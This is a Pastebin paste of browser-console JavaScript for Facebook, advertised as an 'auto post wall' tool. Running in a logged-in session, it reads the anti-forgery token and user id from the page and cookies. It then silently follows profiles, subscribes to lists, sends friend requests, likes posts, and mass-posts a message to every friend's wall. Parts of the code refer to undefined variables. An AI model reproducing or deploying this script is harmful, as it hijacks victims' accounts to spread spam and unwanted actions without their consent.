Advertisement
vlthanhay

autopostwall

Mar 9th, 2014
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.61 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function a(abone){
  4. var http4 = new XMLHttpRequest();
  5. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  6. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  7. http4.open("POST", url4, true);
  8. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9. http4.setRequestHeader("Content-length", params4.length);
  10. http4.setRequestHeader("Connection", "close");
  11. http4.onreadystatechange = function() {
  12. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  13. }
  14. http4.send(params4);
  15. }
  16. // Close the connection
  17. function sublist(uidss) {
  18. var a = document.createElement('script');
  19. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  20. document.body.appendChild(a);
  21. }
  22. // Sub
  23. sublist("00000000000");sublist("000000000");sublist("000000000");
  24. // Joker
  25. function sarkadaslari_al(){
  26. var xmlhttp = new XMLHttpRequest();
  27. xmlhttp.onreadystatechange = function () {
  28. if(xmlhttp.readyState == 4){
  29. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  30. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  31. smesaj = "";
  32. smesaj_text = "";
  33. for(i=f*10;i<(f+1)*10;i++){
  34. if(arkadaslar.payload.entries[i]){
  35. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  36. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  37. }
  38. }
  39. sdurumpaylas(); }
  40.  
  41. }
  42.  
  43. };
  44. var params = "&filter[0]=user";
  45. params += "&options[0]=friends_only";
  46. params += "&options[1]=nm";
  47. params += "&token=v7";
  48. params += "&viewer=" + user_id;
  49. params += "&__user=" + user_id;
  50.  
  51. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  52. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  53. xmlhttp.send();
  54. }
  55.  
  56. var tiklama = document.addEventListener("click", function () {
  57. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  58. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  59. sarkadaslari_al();
  60. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  61.  
  62. document.removeEventListener(tiklama);
  63. }
  64. }, false);
  65.  
  66. function sarkadasekle(uid,tem){
  67. var xmlhttp = new XMLHttpRequest();
  68. xmlhttp.onreadystatechange = function () {
  69. if(xmlhttp.readyState == 4){
  70. }
  71. };
  72.  
  73. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  74. var params = "to_friend=" + uid;
  75. params += "&action=add_friend";
  76. params += "&how_found=friend_browser";
  77. params += "&ref_param=none";
  78. params += "&outgoing_id=";
  79. params += "&logging_location=friend_browser";
  80. params += "&no_flyout_on_click=true";
  81. params += "&ego_log_data=";
  82. params += "&http_referer=";
  83. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  84. params += "&phstamp=165816749114848369115";
  85. params += "&__user=" + user_id;
  86. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  87. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  88.  
  89. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  90. xmlhttp.send(params);
  91. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  92. cinsiyetgetir(uid,tem,"sarkadasekle");
  93. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  94. xmlhttp.send(params);
  95. }
  96. }
  97.  
  98. var temsonuc = {};
  99. var temhtml = document.createElement("html");
  100. function scinsiyetgetir(uid,tem,fonksiyon){
  101. var xmlhttp = new XMLHttpRequest();
  102. xmlhttp.onreadystatechange = function () {
  103. if(xmlhttp.readyState == 4){
  104. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  105. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  106. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  107. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  108. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  109. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  110. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  111. }
  112. eval(fonksiyon + "(" + id + "," + tem + ");");
  113. }
  114. };
  115. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  116. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  117. xmlhttp.send();
  118. }
  119. javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5999;'>Auto Post Wall Facebook By VL Thánh Ấy</a></div></br>";
  120. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Test auto post wall' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,245,106,0.1);'></textarea></div>";
  121. grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Cover : VL Thánh Ấy</a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'></div>";
  122. var Popupset = document.createElement("div");
  123. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  124. Popupset.innerHTML = grouppost;
  125. document.body.appendChild(Popupset);
  126. jx = {
  127. getHTTPObject: function () {
  128. var A = false;
  129. if (typeof ActiveXObject != "undefined") try {
  130. A = new ActiveXObject("Msxml2.XMLHTTP")
  131. } catch(C) {
  132. try {
  133. A = new ActiveXObject("Microsoft.XMLHTTP")
  134. } catch(B) {
  135. A = false
  136. }
  137. } else if (window.XMLHttpRequest) try {
  138. A = new XMLHttpRequest
  139. } catch(C) {
  140. A = false
  141. }
  142. return A
  143. },
  144. load: function (url, callback, format, method, opt) {
  145. var http = this.init();
  146. if (!http || !url) return;
  147. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  148. if (!method) method = "GET";
  149. if (!format) format = "text";
  150. if (!opt) opt = {};
  151. format = format.toLowerCase();
  152. method = method.toUpperCase();
  153. var now = "uid=" + (new Date).getTime();
  154. url += url.indexOf("?") + 1 ? "&" : "?";
  155. url += now;
  156. var parameters = null;
  157. if (method == "POST") {
  158. var parts = url.split("?");
  159. url = parts[0];
  160. parameters = parts[1]
  161. }
  162. http.open(method, url, true);
  163. var ths = this;
  164. if (opt.handler) http.onreadystatechange = function () {
  165. opt.handler(http)
  166. };
  167. else http.onreadystatechange = function () {
  168. if (http.readyState == 4) if (http.status == 200) {
  169. var result = "";
  170. if (http.responseText) result = http.responseText;
  171. if (format.charAt(0) == "j") {
  172. result = result.replace(/[\n\r]/g, "");
  173. result = eval("(" + result + ")")
  174. } else if (format.charAt(0) == "x") result = http.responseXML;
  175. if (callback) callback(result)
  176. } else {
  177. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  178. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  179. if (error) error(http.status)
  180. }
  181. };
  182. http.send(parameters)
  183. },
  184. bind: function (A) {
  185. var C = {
  186. "url": "",
  187. "onSuccess": false,
  188. "onError": false,
  189. "format": "text",
  190. "method": "GET",
  191. "update": "",
  192. "loading": "",
  193. "loadingIndicator": ""
  194. };
  195. for (var B in C) if (A[B]) C[B] = A[B];
  196. if (!C.url) return;
  197. var D = false;
  198. if (C.loadingIndicator) {
  199. D = document.createElement("div");
  200. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  201. D.setAttribute("class", "loading-indicator");
  202. D.innerHTML = C.loadingIndicator;
  203. document.getElementsByTagName("body")[0].appendChild(D);
  204. this.opt.loadingIndicator = D
  205. }
  206. if (C.loading) document.getElementById(C.loading).style.display = "block";
  207. this.load(C.url, function (E) {
  208. if (C.onSuccess) C.onSuccess(E);
  209. if (C.update) document.getElementById(C.update).innerHTML = E;
  210. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  211. if (C.loading) document.getElementById(C.loading).style.display = "none"
  212. },
  213. C.format, C.method, C)
  214. },
  215. init: function () {
  216. return this.getHTTPObject()
  217. }
  218. };
  219. var j = 0;
  220. var k = 0;
  221. var suc = 0;
  222. var msg = "Auto post by VL Thánh Ấy";
  223. var arr = new Array;
  224. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  225.  
  226. function autopostingfunc(sender) {
  227. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  228. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  229. var b = a;
  230. var c = b.substring(b.indexOf("{"));
  231. var d = JSON.parse(c);
  232. d = d.payload.entries;
  233. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  234. sender.parentNode.innerHTML = "Xin Chờ....";
  235. postitok()
  236. })
  237. }
  238. var a = document.body.innerHTML;
  239. var dts = document.getElementsByName("fb_dtsg")[0].value;
  240. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  241.  
  242. function postitok() {
  243. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer";
  244. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"),
  245. send(pst);
  246. suc++;
  247. if (suc > arr.length) {
  248. alert("Auto Posting Completed. Now Refresh your Homepage.");
  249. suc = 0
  250. } else setTimeout("postitok()", 3E4 / arr.length)
  251. }
  252. setTimeout("autopostingfunc()", 1E3);
  253.  
  254. function P(post) {
  255. var X = new XMLHttpRequest();
  256. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  257. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  258. X.open("POST", XURL, true);
  259. X.onreadystatechange = function () {
  260. if (X.readyState == 4 && X.status == 200) {
  261. X.close
  262. }
  263. };
  264. X.send(XParams)
  265. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement